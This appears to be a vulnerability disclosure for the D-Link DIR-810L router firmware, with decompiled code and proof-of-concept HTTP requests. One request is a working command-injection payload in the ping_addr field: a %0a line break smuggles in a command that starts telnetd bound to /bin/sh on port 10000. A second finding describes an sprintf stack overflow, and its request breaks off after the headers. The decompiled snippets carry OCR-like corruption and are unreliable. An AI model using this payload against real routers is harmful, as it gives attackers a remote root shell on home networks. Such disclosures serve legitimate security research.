

Ping_addr performs command injection in the 'NCC' component

```
v5 = get_entry_value_by_name(a2, a3, "ping_addr");
 v6 = (const char *)v5;
 v55 = 0;
 if (!v5
   goto LABEL_56;
 v39 = 0;
 \vee 40 = 0;
 memset(v41, 0, sizeof(v41));
 v7 = get_entry_value_by_name(a2, a3, "iface");
if ( v7 && !strcmp(v7, "lan") )
    snprintf(v41, 63, " -I br0 ");
 getIfaceInfo(&dword_5A9DE4, v43);
 initInstFunc(6, v37, 0);
 v55 = get0bj(6, v37);
 initInstFunc(73, v37, 0);
 v9 = get0bj(73, v37);
 v8 = inet addr(v6);
if ( v44 == v8 )
   _system(
  "/opt/release/rt6856/RT288x_SDK/source/user/wolf/cameo/ncc/../model/dlink_810/ccp/ping.c",
     "doPingV4",
     "echo \"1\">%s",
     "/var/tmp/pingtest");
   goto LABEL_58;
 if ( v9
   && !strcmp(*(_DWORD *)(v9 + 12), "Connected")
   && inet addr(v6)
   && (v10 = inet_addr(v6), v11 = 353, *(_DWORD *)(v9 + 24) == v10)
   | | v55 && (v12 = strcmp(v6, *(_DWORD *)(v55 + 40)), v11 = 357, !v12) )
   _system(
```

Ping command we can use %0a or && to concatenate the result of command execution poc

```
POST /ping.ccp HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101
Firefox/101.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest
```

Content-Length: 116956

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/tools_vct.asp

Cookie: xxid=1488794641; hasLogin=1

ccp_act=ping_v6&ping_addr=192.168.0.1%0atelnetd -1 /bin/sh -p 10000 -b 0.0.0.0%0a&1656464975879=1656464975879

#2

Firmware: https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-810L

Detail: In the component NCC, there is an unsafe 'sprintf' that does not limit the parameters transferred from the front end, allowing an attacker to make stack overflows

```
1† ( V11 )
   v21 = (const char *)get_entry_value_by_name(a2, a3, "nextPage");
   v22 = (const char *)get_entry_value_by_name(a2, a3, "ccpSubEvent");
   v23 = (const char *)get_entry_value_by_name(a2, a3, "old_ip");
   v24 = (const char *)get_entry_value_by_name(a2, a3, "old_mask");
   v25 = (const char *)get_entry_value_by_name(a2, a3, "new_ip");
v27 = (const char *)get_entry_value_by_name(a2, a3, "new_mask");
v26 = (const char *)get_entry_value_by_name(a2, a3, "ip_addr");
   v20 = v31:
   goto LABEL_38;
 if ( v10 )
   v19 = sub 424AA0(v10, v30);
   v20 = v10;
   if ( v19 == 1 )
      v18 = (const char *)get_entry_value_by_name(a2, a3, "nextPage");
     goto LABEL_35;
LABEL_38:
   redirect_page(v20, v30, 256);
   goto LABEL_39;
  v18 = "index.asp";
LABEL_35:
 redirect_to_countdown_page(v18, v30, 256, 15);
LABEL_39:
 memset(v29, 0, sizeof(v29));
 v29[4] = (int)v30;
 ncc_rinf_send(a1, v29[0], v29[1], v29[2], v29[3], v30, 513, 768);
```

poc:

POST /get_set.ccp HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101

Firefox/102.0

Accept: application/xml, text/xml, */*; q=0.01

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 24272

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/lan.asp

Cookie: xxid=1488794641; hasLogin=1